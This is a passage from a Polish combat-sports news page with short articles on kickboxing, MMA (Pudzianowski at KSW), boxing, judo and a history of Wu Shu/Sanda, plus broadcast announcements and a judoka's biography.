są Emilia Czerwińska, Jakub Kozera, Wojciech Peryt.

Warto zaznaczyć, że po raz pierwszy w programie włoskiej imprezy znalazła się formuła low kick. Tu należy bacznie obserwować Patryka Zaborowskiego, który walczy o miejsce w kadrze na mistrzostwa świata. Sukces może przybliżyć go do wyjazdu do Serbii.  W low kicku o medalu śmiało mogą myśleć nasze panie: Iwona Nieroda (56kg) i Marta Waliczek (60kg), które prezentują równą formą. W mistrzostwach Polski w Legnicy w K-1 obie sięgnęły po medale, tyle, że innego koloru. Nieroda musiała uznać wyższość Małgorzaty Dymus i zadowoliła się srebrem. Faworytem do  medalu jest Łukasz Kaczmarczyk (71kg), który dobrze wszedł w ten sezon. Polak triumfował w Otwartym Pucharze Bośni i Hercegowiny. Tylko Piotr Wypchał (94kg) będzie rywalizował w kick light. Polak musi na siebie uważać, gdyż wraca po kontuzji. Wypchał naderwał mięsień dwugłowy, jednak na tyle uporał się z kontuzją, że w Rimini może wystąpić.

W Rimini wystartuje dwudziestu siedmiu reprezentantów Polski. Pytanie – ile medali przywiozą? Bo, że przywiozą to wiadomo już przed startem.

KM

Kto dla Pudziana?

Mariusz Pudzianowski ma być jedną z gwiazd gali KSW, która odbędzie się w Londynie. Akcje „Pudziana” po ostatniej walce skoczyły do góry.

Dla wielu były strongman nadal jest celebrytą, który bawi się w mieszane sztuki walki i jego nazwisko ma być magnesem. Warto zauważyć, że z upływem czasu Pudzianowski zaczął robić ustawiczne postępy, które są widoczne.

Gracie w szoku

„Pudzian” dojrzewał i uczył się MMA. Pierwsze walki 38-latka pokazywały, że czeka go dużo pracy. Zarówno pod względem sportowym, technicznym jak i kondycyjnym. „Pudzian”, który wychodził do drugiej rundy wyglądał jakby przerzucił pięć ton węgla w godzinę. Czas pracował na korzyść zawodnika. Raczej on sam wykonał krok, który pomógł mu odnaleźć się w oktagonie. Daleko jeszcze do tego, aby Pudzianowskiego określać mianem fachowca, ale jest już solidnym zawodnikiem. Zaangażował się w treningi i repertuar jego zagrań znacząco powiększył się. W parterze królem nie jest i raczej nie będzie, ale jego postawa w stójce i siła ciosu są atutem.

Walki z Sappem czy Piliafasem miały przyciągnąć uwagę publiczności. Zwłaszcza rywalizacja z Amerykaninem, który robił ogromne zamieszanie i chciał wzbudzić jak największe zainteresowanie swoją osobą. Kolejnym rywalem „Pudziana” był Sean McCorkle i od tego momentu zaczęły się zmiany. Pierwszy pojedynek z Amerykaninem Polak przegrał, ale wziął na nim rewanż i od tego czasu jest niepokonany. Warto zaznaczyć, że „Pudzian” popracował nad kondycją, bo kolejne pojedynki toczył na pełnym dystansie i o wszystkim decydowali sędziowie. Wielkie emocje w Polsce wzbudził bój z Pawłem Nastulą, w którym nie zabrakło zwrotów akcji. Pudzianowski wygrał z mistrzem olimpijskim, czym zaskoczył wielu, a jednocześnie udowodnił, że ciężka praca popłaca. Ręce do oklasków składały się po walce z Rollesem Gracie. „Pudzian” w zaledwie dwadzieścia siedem sekund położył swojego rywala. Mocny cios, czysto wyprowadzony zamroczył Brazylijczyka, który padł jak rażony gromem. Zachwytom nie było końca.

Teraz Anglia

Pudzianowski będzie jedną z gwiazd KSW 33. W Londynie Polaka czeka kolejne wyzwanie w karierze i będzie miał okazję udowodnić, że ostatnie jego sukcesy nie są dziełem przypadku. Nie wiadomo, z kim „Pudzian” stoczy pojedynek. Pojawia się głosy, że będzie to doświadczony zawodnik z Anglii. Pierwsze przypuszczenia wskazują na Philipa de Friesa, który ma za sobą występy w UFC. W najlepszej organizacji mieszanych sztuk walki stoczył pięć pojedynków, z których dwa zapisał po stronie wygranych. Anglik w swojej karierze walczył już z zawodnikiem z Polski. Łukasz Parobiec musiał uznać wyższość de Friesa. Czy Pudzianowski w Londynie stanie właśnie naprzeciw 29-latka?

Na gali KSW w Anglii zaprezentują się również Marcin Różalski oraz Mateusz Gamrot.

Kułak wraca w Częstochowie

Podczas ostatniej gali KSW doświadczony fighter zdradził, że pojawi się w oktagonie. W Częstochowie Krzysztof Kułak ma wystąpić w kategorii półśredniej, a jako jego rywala przedstawia się Macieja Jewtuszko. Z pewnością byłoby to ciekawe starcie. Zwłaszcza, że obaj przegrali swoje ostatnie pojedynki. „Irokez” podczas KSW 31 poniósł klęski w starciu z Kamilem Szymuszowskim.

KM

Niepokonany naprzeciw niepokonanego

Przed Robertem Parzęczewskim kolejne wyzwanie w jego zawodowej karierze. Popularny „Arab” 19 czerwca wystąpi na gali „BudWeld Boxing Night” w Ostrowcu Świętokrzyskim.

Bokser konsekwentnie realizuje swoje plany i buduje pozycję w wadze półciężkiej. Do tej pory stoczył osiem pojedynków – wszystkie wygrał. W marcu w Lubinie zmierzył się z Farouckiem Dahu w ośmiorundowym starciu. Parzęczewski zdecydowanie wygrał na punkty i po raz trzeci w karierze miał okazję rywalizować na takim dystansie. Polak przeważnie walczył w starciach cztero- i sześciorundowych, także pojedynek ośmiorundowy był swego rodzaju wyzwaniem dla pięściarza. Parzęczewski robi postępy i ma bogate marzenia.

21-letni bokser otwarcie przyznaje, że chciałby zostać mistrzem świata przed ukończeniem 25. roku życia, co jest poważną deklaracją. Ponadto, Parzęczewski myśli o zmianie kategorii – na super średnią. Plany polskiego pięściarza są bogate, ale niestety należy pamiętać, że nie wszystko zależne jest od jego umiejętności. W boksie na sukces składa się wiele elementów. Jednym z nich są umiejętności czysto sportowe, ale trzeba uwzględnić również warunki, posiadanie sponsora oraz zdrowie. Gdy te wszystkie elementy zostaną połączone wtedy osiągnięcie zamierzonych celów staje się możliwe. Czy tak będzie w przypadku Parzęczewskiego?

Polak musi konsekwentnie robić swoje. Nie pozostaje mu nic innego jak ciężki trening i kolejne walki, w których musi prezentować odpowiedni poziom. W czerwcu w Ostrowcu Świętokrzyskim Parzęczewski stanie naprzeciw Jessy’ego Luxembourgera. 25-letni Francuz dotychczas stoczył sześć pojedynków i wszystkie wygrał. W swojej ostatniej walce pokonał pięściarza, który na swoim koncie miał ponad trzydzieści porażek. Trudno cokolwiek powiedzieć na temat potencjału Luxembourgera. Francuz z pewnością przyjedzie do Polski po wygraną, a będzie to jego pierwsza bokserska podróż do innego kraju. Parzęczewski stanie przed kolejnym wyzwaniem, ale ma przewagę. Po pierwsze, walczy na swoim terenie, a po drugie – w swojej karierze rywalizował z zawodnikami z innych krajów. Ten drugi powód wydaje się o tyle cenny, że Polak poznał inne kultury i sposoby rywalizacji. Francuz do tej pory był zamknięty we własnym kręgu, więc może mieć trudności z odnalezieniem się.

Parzęczewski aktywnie trenuje i przygotowuje się do rywalizacji z najbliższym rywalem. W Dzierżoniowie sparuje z Mateusz Rzadkoszem i Michałem Gerleckim. Do pojedynku zostały dwa tygodnie, więc przez 21-letni pięściarzem ostatnia prosta. Parzęczewski musi być przygotowany na najtrudniejsze wyzwanie w swojej karierze. Polak ma określone cele i wie, co chce osiągnąć, dlatego już teraz musi podjąć stanowcze kroki na drodze do realizacji swoich założeń. Nie pozostaje nic innego jak wyjść do ringu i wygrać. Efektywność jest jedną z dróg do wielkiej kariery, czyli znalezienia sponsora oraz otwierania kolejnych drzwi. Jak to mówią – i niech zdrowie będzie. Wtedy wszystko się ułoży. A teraz niech Parzęczewski przełoży słowa w czyn.

Fot. polski-sport.pl

KM

 

O Wu Shu opowiada Dariusz Piwowarski

Chiny są kolebką wielu, niektórzy teoretycy twierdzą, że kilkuset styli Wu Shu, z których kilkanaście przetrwało do dzisiaj i są nauczane w wersji tradycyjnej zgodnej z przekazem twórców lub zmienione i dostosowane do potrzeb zawodów sportowych jak nowoczesne Wu Shu. Wolna walka Sanshou pomimo tego, że wchodzi w skład zawodów sportowych, a więc poddaje się określonym przepisom regulującym zasady przebiegu walk to wywodzi się z walk na platformie Leitai, których podstawowym przepisem była zasada „żadnych zasad”. Cały czas używane jest pojęcie platformy, a oznacza ono podest o różnej wysokości i powierzchni w zależności od prowincji w której walki się odbywały. Zwykle były to podesty o wysokości kilku metrów dookoła których wbijano ostro zakończone bambusy. Walka trwała do chwili, aż któryś z zawodników zrzucał z niego przeciwnika dowolną techniką. Efekt toczonego boju kończył się zwykle śmiercią. Walki takie toczono również przy użyciu różnego rodzaju broni, np. włóczni, szabli, itd., w których zawodnicy biorący udział byli ekspertami. Chociaż walki takie były rozgrywane na śmierć i życie spełniały jednak rolę rozrywki dla cesarzy, lokalnych władców oraz ludności wśród której cieszyły się wielką popularnością. Służyły też władcom do pozyskiwania najlepszych ekspertów, których następnie zatrudniano do ochrony osobistej i tworzono tzw. gwardię przyboczną, której idea przetrwała do czasów dzisiejszych. Walki na platformie rozstrzygały często całe bitwy, ponieważ dowódcy przeciwnych armii spotykali się w bezpośrednim pojedynku. Walki takie były również wykorzystywane do rozstrzygania bitew między całymi armiami, ponieważ dowódcy toczyli pojedynki na nich zamiast przelewać krew swoich żołnierzy. Innym sposobem wykorzystywania tego typu walk była rywalizacja Mistrzów Szkół Wu Shu, które działały w tej samej prowincji lub miejscowości. Prowadzący szkołę nauczyciel musiał startować w zawodach na platformie, przyjmując tym samym wyzwanie innego nauczyciela co kończyło się zwykle przejęciem uczniów i szkoły przez wygranego. Przeniesieniem tradycji tych walk do czasów współczesnych są walki sportowe Sanshou. Platformę obniżono do wysokości 80 cm i ustalono jej powierzchnię do wymiarów 8m x 8m oraz obłożono ją grubymi materacami, zabezpieczającymi zawodników przed upadkiem poza nią. Zasób technik umożliwiających prowadzenie walki zawiera techniki ręczne, nożne, rzuty, podcięcia oraz wypchnięcia poza platformę walki. W 1990 roku Międzynarodowa Federacja Wu Shu opracowała przepisy regulujące zasady rozgrywania i organizowania zawodów wolnej walki, które obowiązują z pewnymi zmianami do dzisiaj i na podstawie których odbywają się wszystkie zawody rangi Mistrzostw Świata i Europy oraz nasze zawody krajowe organizowane przez Polski Związek Wu Shu. Zmiany w regulaminie, które nastąpiły w ciągu kilku lat dotyczą tylko niewielkiej części przepisów i nie powodują konieczności zmian w przygotowaniach zawodników. Wydaje się więc, że stosunkowo nowa dyscyplina sportowa, którą jest wolna walka Sanda, zawiera w sobie przekaz sztuki tradycyjnej mającej za sobą wielowiekową historię.

W związku z przyznaniem Pekinowi organizacji Igrzysk Olimpijskich w 2008 r. wiele się mówiło o włączeniu Wu Shu do programu tej imprezy jako dyscypliny medalowej. Wu Shu nie jest obecnie w gronie dyscyplin oczekujących wejścia do rodziny Sportów Olimpijskich W Pekinie odbył się turniej pokazowy, w którym wziął udział nasz zawodnik Andrzej Topczewski, podczas którego zawodnicy otrzymali medale olimpijskie. Rywalizacja odbyła się w następujących konkurencjach:

 

  • Formy ręczne mężczyzn: północne (changchuan) i południowe (nanchuan)
  • Formy mężczyzn z kijem: północne (gunshu) i południowe (nangun)
  • Formy mężczyzn z szablą: północne (daoshu) i południowe (nandao)
  • Formy ręczne kobiet: północne (changchuan) i południowe (nanchuan)
  • Formy kobiet z bronią: miecz północny (jianshu) i włócznia (qiaoshu)
  • Walki Sanda

 
Międzynarodowa Federacja Wu Shu organizuje kilku lat profesjonalne turnieje wolnej walki na które zapraszani są czterej najlepsi zawodnicy zajmujący czołowe miejsca podczas zawodów rangi mistrzowskiej. Formułą bardzo zbliżoną do Sanda jest Muay Thai oraz formuła K1. Walczyć więc mogą i chcą Wielcy Zawodnicy Sanda, Muay Thai i K1. Mają one oprawę największych turniejów formuły K-1, odbywających się corocznie w Japonii.

Historia konkurencji wolnej walki Sanda w naszym kraju liczy prawie 30 lat, bowiem w połowie lat 80-tych powstały pierwsze sekcje, w których rozpoczęto treningi pod kątem zawodów sportowych – według przepisów międzynarodowych.
W połowie lat 80-tych istniało w naszym kraju kilkanaście ośrodków zajmujących się uprawianiem chińskich sztuk walki Kung Fu/Wu Shu, w których praktykowano je w sposób tradycyjny. Głównym celem ich działalności były samodoskonalenie ćwiczących oraz propagowanie sztuk walki w aspekcie zdrowotnym i kształtującym wysoką sprawność fizyczną. Pojawiły się jednak propozycje organizowania (oprócz warsztatów instruktorskich), zorganizowanych form współzawodnictwa w konkurencji form oraz walk, opartych na regulaminach opracowanych przez głównych instruktorów. Pozyskanie przepisów stosowanych przez Europejską Federację Wu Shu (EWuF), opracowanych ma Mistrzostwa Europy, umożliwiło wprowadzenie jednolitych i zgodnych z wymogami organizacji międzynarodowych zasad rozgrywania zawodów krajowych. Pierwsze zawody ogólnopolskie w programie których znalazło się sanshou (wcześniej stosowana nazwa) odbyły się w Słupsku w 1989r i stanowiły jednocześnie kwalifikacje do reprezentacji Polski Polskiego Zrzeszenia Kung Fu/Wu Shu na Mistrzostwa Europy w Sztokholmie. Pomimo działań Rady Instruktorów Wu Shu, zmierzających do propagowania wolnej walki, należy stwierdzić, że tradycyjna metodyka prowadzenia szkolenia w sekcjach nie pozwalała na przygotowanie zawodników do rywalizacji międzynarodowej, a zwłaszcza z Azji. Dlatego też, część ośrodków wydzieliła w swoich strukturach grupy zawodników przygotowujących się do zawodów sportowych lub podjęła współpracę z klubami kick-boxingu, w których dodatkowo trenowali i mieli możliwość startowania w zawodach. Bardzo częsta była praktyka pozyskiwania zawodników z innych sportów walki, a przede wszystkim zapasów oraz kick-boxingu. Ten sposób był powszechny w wielu krajach, a zwłaszcza byłego Związku Radzieckiego, ponieważ przynosił bardzo szybkie efekty w postaci medali na ważnych zawodach. Tylko zawodnicy chińscy szkoleni byli w sposób specjalistyczny, a ponadto stworzone regulaminy, obowiązujące na zawodach organizowanych przez IWUF, a później i inne organizacje, predysponowały ich do zajmowania czołowych miejsc. W okresie kilku lat inne kraje azjatyckie, a także europejskie (Rosja, Rumunia, Szwecja, Francja), wspomagane przez własne władze sportowe, prowadziły systematyczne szkolenie swoich zawodników, co spowodowało zmniejszenie dystansu jaki je dzielił od poziomu azjatyckiego. W związku z powyższym, osiągnięcia naszych zawodników, którzy przygotowywali się do zawodów i wyjeżdżali na nie za własne pieniądze (dotyczy to również trenerów), a następnie musieli leczyć nabyte kontuzje we własnym zakresie, należy postrzegać w zupełnie innym świetle. Niestety w tamtym okresie i w chwili obecnej w naszym kraju Związki sportowe nie olimpijskich, są dotowane w bardzo ograniczonym zakresie, bez względu na osiągnięcia medalowe podczas zawodów mistrzowskich. Dzięki własnemu zapałowi, pomocy rodzin oraz nielicznych, ale niezbędnych sponsorów zawodnicy wchodzący w skład Kadry Polski Polskiego Zrzeszenia Wu Shu (wcześniej Kung Fu / Wu Shu), uczestniczyli od 1989r. z sukcesami w najważniejszych zawodach rangi mistrzowskiej oraz wielu turniejach. Pierwszymi zawodami w których wzięli udział nasi zawodnicy były III Mistrzostwa Europy, które odbyły się w Sztokholmie w 1989 r., podczas których zawodnicy Marek Sajdak oraz Dariusz Górecki zdobyli tytuły wicemistrzów Europy. Dwa lata później odbyły się I Mistrzostwa Świata Wu Shu w Pekinie, na których polscy zawodnicy Sanshou zajęli trzy piąte miejsca.

Pierwsze lata rozwoju to zdecydowana dominacja zawodników z Azji, a zwłaszcza z Chin, które były kolebką tej dyscypliny. Rosnąca popularność wolnej walki przyczyniła się do rozwoju tej dyscypliny w krajach europejskich. Szczególnie wyróżniali się zawodnicy z Rosji, Rumunii, Szwecji, Hiszpanii, Francji. Miało to bezpośredni związek z systemem organizacyjnym Wu Shu w tych krajach, a przede wszystkim pomocą ze strony władz sportowych. Wspomniany był fakt werbowania do Sanshou zawodników doświadczonych z innych sportów walki. Działania takie wymagały jednak nakładów finansowych ponieważ zawodnicy ci wymagali zapewnienia im odpowiednich warunków. Innym sposobem było zatrudnianie trenerów chińskich lub wysyłanie zawodników na szkolenie do instytutów w Chinach. Nie trzeba jednak dodawać, że działania takie również wymagały pokaźnych funduszy. Wieloletnie systematyczne szkolenie kadry umożliwiło osiągnięcie bardzo wysokiego poziomu sportowego zawodników, a ponadto wypracowanie własnych metod treningowych opartych na najlepszych wzorcach, umożliwiających w chwili obecnej rywalizowanie na równym poziomie z zawodnikami azjatyckimi (głownie chińskimi i koreańskimi). Zawody zdominowane były w ciągu kilku lat przez rywalizacją zawodników azjatyckich i europejskich, choć widoczni byli również zawodnicy Iranu, Kazachstanu, Mongolii, mający trenerów chińskich. Biorąc pod uwagę wszystkie te fakty, należy powiedzieć, że zawodnicy i instruktorzy polscy dysponujący mizernymi możliwościami finansowymi i korzystający okazjonalnie z porad trenerów chińskich odnosili znaczące sukcesy – oczywiście proporcjonalnie do możliwości. Pewnym ograniczeniem w rozwoju konkurencji był regulamin IWuF określający, że każdy kraj mógł wystawić swoich zawodników tylko w 5 kategoriach wagowych, a ponadto nie było walk kobiet. Kolejne lata przyniosły wyraźne wyrównywanie poziomu sportowego zawodników, ze względu ich specjalizację i wprowadzenie odrębnego systemu szkolenia w walkach. Regulamin zawodów umożliwia stosowanie wielu technik, spotykanych w innych sportach walki, ale możliwość łączenia ich w jednej formule powoduje to, że Sanda w wykonaniu zawodników dobrze wyszkolonych technicznie jest niezwykle widowiskowa i emocjonująca. Konkurencje walk kobiet wprowadzono dopiero podczas Mistrzostwach Świata Wu Shu w Macao w 2003r. Poziom zawodów stale wzrastał również z uwagi na przyznanie Pekinowi prawa organizacji Igrzysk Olimpijskich w 2008 r. Środowisko związane z tą dyscypliną miało nadzieję na zaprezentowanie się na najważniejszych zawodach sportowych, podobnie jak miało to miejsce z Taekwondo organizacji WTF w Seulu. Wzrasta liczba międzynarodowych turniejów i zawodów mistrzowskich. Obok walk pełnokontaktowych Sanda wprowadzono system walk Qingda w lekkim kontakcie rozgrywanych od I Mistrzostw Europy Wu Shu Tradycyjnego, które odbyły się w kwietniu br w Tallinie. Podczas zawodów organizowanych przez Polski Związek Wu Shu walki qingda odbywają się w kategoriach juniorów i seniorów, natomiast walki Sanda w kategoriach juniorów od 15 lat i seniorach. Międzynarodowa Federacja Wu Shu organizuje od kilku lat Puchary Świata w Sanda, na które zapraszani są najlepsi zawodnicy z mistrzostw świata, , którzy otrzymujący za walki nagrody pieniężne. Profesjonalizacja turniejów Sanda dotyczy nagród finansowych dla zawodników, a także oprawy i organizacji turniejów.

Autor: Dariusz Piwowarski

[kod]

Janik kontra Drozd w FightKlubie!

W środę od godziny 22:00 pokażemy w FightKlubie wielką galę z Moskwy. W głównej walce wieczoru zobaczymy starcie o mistrzostwo świata WBC w wadze junior ciężkiej. Łukasz Janik po świetnym, choć przegranym występie przeciwko Oli Afolabim otrzymał szansę walki o tytuł z Grigorijem Drozdem. Dzierżący mistrzostwo świata WBC w limicie 200 funtów Rosjanin charakterystyczny zielony pas zdobył po jednostronnym zwycięstwie nad Krzysztofem “Diablo” Włodarczykiem. Wcześniej w podobnym stylu pokonał także Mateusza Masternaka. Ostatnie zwycięstwa wyniosły Drozda na szczyt rankingu kategorii cruiser. W innej walce w kategorii junior ciężkiej, złoty medalista olimpijski Rahim Czakijew, po ciężkiej porażce z rąk Krzysztofa Włodarczyka, zmierzy się z niepokonanym Amerykaninem Anthonym Wrightem.
Gala z Moskwy w środę od 22:00 w FightKlubie!

Źródło: materiały prasowe

Zwiastun: [kod]

Jayson Velez – Daniel Ramirez w cyklu LA Fight Club

Na antenę FightKlubu powraca cykl bokserski „LA Fight Club”. Imprezę organizowaną przez Golden Boy Promotions Oscara De La Hoyi uświetni zestawienie rywalizujących ze sobą bokserskich potęg – Portoryko i Meksyku. W głównej walce wieczoru zobaczymy na żywo starcie w kategorii super piórkowej pomiędzy Jaysonem Velezem (22-0-1, 16 KO) z Caguas i Danielem Ramirezem (11-2, 5 KO) z meksykańskiej Tijuany.

Niepokonany w 22. walkach „La Maravilla” Velez w ostatnim pojedynku zremisował z byłym już mistrzem świata IBF w kategorii piórkowej Jewgienijem Gradowiczem.Pochodzący z bogatej w bokserskie tradycje Tijuany, Daniel Ramirezw ostatnim pojedynku uległ przed czasem Ericowi Hunterowi na gali w Atlantic City. Ma dobrą okazję, by zmazać tę porażkę ze swojego rekordu szczególnie, że konfrontacje portorykańsko-meksykańskie cieszą się zawsze niesamowitą popularnością i niosą ze sobą dodatkowy ‘’smaczek”.

Na transmisję gali z Belasco Theater w Los Angeles zapraszamy w nocy z czwartku na piątek od godziny 04:00. Powtórka w piątek od 11:30.

Źródło: materiały prasowe

Bogusława Olechnowicz-Dzierżak

Polska judoczka urodzona 22 listopada 1962 roku Słupsku. W 1979 roku ukończyła Zasadniczą Szkołę Ogrodniczą w Słupsku, zaś w 1985 roku Średnie Studium Społeczno-Prawne. Od 1978 roku jest judoczką klubu Gryf Słupsk, gdzie jej trenerem był Wiesław Hałaburda. Była siedmiokrotną mistrzynią polski: 5 razy w kategorii 61 kg, i 2 razy w kategorii open.  Była pierwszą  Polską zawodniczką, która zdobyła medal w judo na Mistrzostwach Europy. Łącznie zdobyła trzy złote medale na mistrzostwach Europy, zdobyła też brązowy medal mistrzostw świata. W 1988 roku uczestniczyła w Akademickich Mistrzostwach Świata w Tbilisi, z których przywiozła dwa brązowe medale.  W 1988 roku na Igrzyskach Olimpijskich w Seulu zdobyła brązowy medal, natomiast na kolejnej olimpiadzie odpadła w pierwszej rundzie. Karierę zawodniczą zakończyła w 1992 roku. Po zakończeniu kariery sportowej pracowała w Straży Miejskiej jako strażnik, obecnie zatrudniona jest w Szkole Policji w Słupsku jako wykładowca taktyki i techniki interwencji. W międzyczasie skończyła studia licencjackie, magisterskie i podyplomow. Ma męża i syna.  

Perenc i Konieczny z medalami na igrzyska

Po raz pierwszy będziemy świadkami Igrzysk Europejskich. Impreza będzie weryfikacją możliwość zawodników ze Starego Kontynentu na rok przed Rio de Janeiro. Dla wielu start w przyszłym roku w Brazylii może okazać się spełnieniem marzeń.

Polskie judo marzy o medalu olimpijskim, jednak najpierw przed naszymi reprezentantami weryfikacja możliwości w postaci Igrzysk Europejskich, które odbędą się w dniach 12 – 28 czerwca. Warto zauważyć jedną istotną rzecz. Judocy będą rywalizowali przez trzy dni – od 25 do 28 czerwca. Turniej ten traktowany będzie przez Międzynarodową Federację Judo jako mistrzostwa Europy. Pierwotnie czempionat miał odbyć się w Glasgow, ale Wielkiej Brytanii odebrano prawo organizacji.

Perenc i Konieczny w dobrych nastrojach

W turnieju Judo European Open w Kluż – Napoce nasze reprezentantki zaliczyły występy godne uwagi. Warto dodać, że zawody wliczały się do klasyfikacji olimpijskiej. Ewa Konieczny w kategorii 48kg w pierwszej walce trafiła na zawodniczkę gospodarzy Andreę Stefanescu. Rumunka nie potrafiła zaskoczyć Polki, która mogła już myśleć o kolejnej walce. Jak się okazało Konieczny trafiła na wymagającą przeciwniczkę. W drugim pojedynku Polka spotkała się z Brytyjką Kimberley Renicks. Porażka sprawiła, że Konieczny musiała walczyć o „być albo nie być” w repasażach. Polka pokazała się z dobrej strony i zwycięsko wyszła z potyczki z Włoszką Francescą Milani. Noa Minsker mogła być w finale, ale na jej drodze stanęła Edna Carrillo. Reprezentantka Izraela miała nadzieję, że uda jej się zdobyć brąz na pocieszenie, jednak nie sprostała Ewie Konieczny. Polka zajęła trzecie miejsce. Zaledwie jedną walkę stoczyła Joanna Stankiewicz, która uległa Meksykance Carrillo.

Taką drogę jak Ewa Konieczny przeszła Agata Perenc w kategorii 52kg. W pierwszym pojedynku Polka odprawiła Węgierkę Katinkę Szabo. Zawsze ciężko rywalizuje się z zawodnikami gospodarzy. Tak było i w tym przypadku. Perenc trafiła na Larisę Florian i musiała uznać wyższość Rumunki. Za to w repasażach Polka uporała się z Rosjanką Olgą Gagariną i mogła stanąć do walki o medal. O brąz Perenc przyszło rywalizować z reprezentantką Izraela Roni Schwartz. W tej samej kategorii rywalizowała Dorota Smorzewska, która uległa Birgit Ente z Holandii.

Kadra na Igrzyska

Nasi judocy szlifują formę, aby osiągnąć jak najlepsze rezultaty w Baku. Ogłoszono już kadrę Polski w judo na Igrzyska Europejskie. W Baku wystąpi sześć zawodniczek i ośmiu zawodników. Nie zabraknie Darii Pogorzelec, która w ostatnim czasie jest w bardzo dobrej dyspozycji. Na fali entuzjazmu do Baku pojadą Konieczny i Perenc. Wystąpi również najlepszy obecnie polski judoka – Maciej Sarnacki. Ponadto w Baku zaprezentują się: Katarzyna Kłys, Agata Ozdoba, Arleta Podolak, Aleksander Beta, Łukasz Kiełbasiński, Lukasz Błach, Jakub Kubieniec, Patryk Ciechomski, Jakub Wójcik i Damian Szwarnowiecki.

KM

Wushu, czyli na bogato

Liczne style, odmienne taktyki i zasady – tym charakteryzują się chińskie sztuki walki. Na brak możliwości nie można narzekać. Walki bronią białą, dźwignie, ciosy, kopnięcia – to wszystko oferuje wushu.

W powszechnym odbiorze może to być zjawisko szerzej nieznane, ale mimo wszystko jest obecne na scenie sportów walki. Co więcej – wushu ma się bardzo dobrze. Popularność tej dyscypliny stopniowo rośnie. Z roku na rok uprawia ją coraz więcej osób, które traktują tę dyscyplinę jako możliwość aktywnego spędzenia czasu. Polska może pochwalić się licznymi osiągnięciami w wushu.

Wielu zawodników, którzy osiągnęli światowy poziom i prezentują najwyższe umiejętności. Ze światowych imprez reprezentacja Polski zawsze przywozi medale – stało się to niemalże tradycją. Od 2001 roku działa Polski Związek Wushu, którego prezesem jest Dariusz Piwowarski. Z każdym rokiem rośnie liczba szkół szerzących ideę chińskich sztuk walki. Aktywnie uprawiających wushu jest zapewne kilkanaście tysięcy, ale w polskim związku zarejestrowanych jest około czterech tysięcy zawodników (dane za 2013 rok). Warto powiedzieć, że ilość przekłada się na jakość. W dniach 16-23 maja w Starej Zagorze w Bułgarii odbyły się trzecie mistrzostwa Europy wushu tradycyjnego, podczas których z dobrej strony pokazali się reprezentanci Polski. Na starcie imprezy pojawiło się blisko siedmiuset zawodników z dwudziestu krajów. Polacy zdobyli dwadzieścia siedem medali, w tym cztery złote autorstwa Sebastiana Oleszczuka, Jakuba Leszczyńskiego, Piotra Stachowicza i Bartosza Oramusa. Ponadto, biało – czerwoni wywalczyli czternaście srebrnych i dziewięć brązowych krążków. Jednak to nie jest jednorazowy wyskok. Polacy na światowych czempionatach odnoszą sukcesy w wushu.

Wushu rozwija się i święci triumfy. Na krajowym podwórku trwa stopniowe budowanie marki, która trafi do społecznej świadomości. Uprawiających dyscyplinę jest wielu, ale jak na razie sport nie przebił się na szczyt. W dniach 6-7 czerwca odbędą się XXI międzynarodowe mistrzostwa Polski w wushu. Rywalizacja odbędzie się na poziomie juniorskim i seniorskim. 5 czerwca odbędzie się rejestracja i ważenie zawodników, którzy będą mogli wystąpić w formułach taoulu, sanda i qingda.

Rok temu rywalizacja pełna była emocji, ale w niektórych kategoriach brakowało zawodników. Piotr Jesiotr chciał zmierzyć się w kategorii 90kg, jednak nie miał z kim. Wyzwanie podjął Bartłomiej Guzik, który rywalizował w wadze 85kg. Deficyt zawodników w niektórych kategoriach był nadto widoczny, ale rok temu w turnieju nie wzięła udziału większość kadrowiczów. Miejmy nadzieję, że tym razem w mistrzostwach wystąpi czołówka polskich wojowników, która zaprezentuje najwyższy poziom.

6 i 7 czerwca XXI międzynarodowe mistrzostwa Polski w wushu odbędą się w hali sportowej ZOS nr 79 przy ul. Wiertniczej 26 w Warszawie.

KM